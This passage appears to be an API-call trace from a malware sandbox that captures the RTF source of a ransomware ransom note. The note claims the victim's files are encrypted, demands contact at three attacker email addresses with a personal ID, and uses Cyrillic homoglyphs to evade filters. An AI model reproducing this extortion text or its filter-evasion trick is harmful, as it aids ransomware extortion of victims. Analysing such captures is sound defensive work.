D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\n", cchWideChar=14086, lpMultiByteStr=0x25c5dd8, cbMultiByte=14086, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd 